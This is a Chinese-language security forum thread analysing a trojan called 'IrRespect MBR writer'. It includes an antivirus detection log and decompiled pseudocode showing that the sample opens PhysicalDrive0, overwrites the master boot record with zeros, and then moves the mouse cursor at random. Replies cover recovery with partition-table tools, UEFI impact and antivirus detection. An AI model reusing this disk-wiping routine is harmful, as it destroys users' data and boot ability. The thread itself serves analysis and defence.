IrRespect MBR writer

Jerry.Lin

WD

1. Filename        Threat Name        Severity        Initial Detect Time        Threat ID        Threat Execution Status        Threat Status        Category       
   
2. IrRespect.exe        Trojan:Win32/Wacatac.B!ml        Severe (5)        9/29/2020 12:28:44 PM        2147735505        Blocked        Detected        Trojan       

复制代码

陌染淡殇

wowocock

void __usercall sub_412530(int a1@<xmm0>)
{
  HANDLE v1; // eax
  int v2; // edx
  int v3; // ecx
  void *v4; // eax
  int v5; // eax
  int v6; // edx
  int v7; // ecx
  int v8; // eax
  int v9; // eax
  int v10; // edx
  int v11; // ecx
  int v12; // eax
  int v13; // edx
  int v14; // ecx
  int v15; // eax
  int v16; // edx
  int v17; // ecx
  int v18; // eax
  int v19; // eax
  int v20; // edx
  int v21; // ecx
  int v66; // [esp+0h] [ebp-3C8h]
  DWORD NumberOfBytesWritten; // [esp+190h] [ebp-238h]
  HANDLE hFile; // [esp+19Ch] [ebp-22Ch]
  char Dst; // [esp+1A8h] [ebp-220h]
  int Y; // [esp+3B0h] [ebp-18h]
  int X; // [esp+3BCh] [ebp-Ch]

  sub_411294((int)&unk_41F032);
  j_memset(&Dst, 0, 0x200u);
  v1 = CreateFileA("\\.\\PhysicalDrive0", 0x10000000u, 3u, 0, 3u, 0, 0);
  v4 = (void *)sub_41129E(v3, v2, &v66 == &v66, (int)v1, a1);
  hFile = v4;
  v5 = WriteFile(v4, &Dst, 0x200u, &NumberOfBytesWritten, 0);
  sub_41129E(v7, v6, &v66 == &v66, v5, a1);
  sub_411226(std::cout, "Master Boot Is Overwritten");
  v8 = sub_412C20(a1, 0);
  srand(v8);
  sub_41129E(v11, v10, &v66 == &v66, v9, a1);
  while ( 1 )
  {
    v12 = rand();
    X = sub_41129E(v14, v13, &v66 == &v66, v12, a1) % 801;
    v15 = rand();
    v18 = sub_41129E(v17, v16, &v66 == &v66, v15, a1);
    Y = v18 % 801;
    v19 = SetCursorPos(X, v18 % 801);
    sub_41129E(v21, v20, &v66 == &v66, v19, a1);
  }
}
破坏MBR

computero

wowocock 发表于 2020-9-30 13:56
void __usercall sub_412530(int a1@)
{
  HANDLE v1; // eax

要怎么修复

wowocock

computero 发表于 2020-9-30 14:17
要怎么修复

如果以前没备份过MBR,因为分区表没备份，所以需要用DISKGENIUS这类工具恢复下分区表，然后恢复默认MBR即可。

yutian8888

这种对UEFI有用吗？
FS的报法很精准。

SayWhat13

trendmicro miss

TR0

有操作的

蝙蝠BATGOD

FS TR/MBR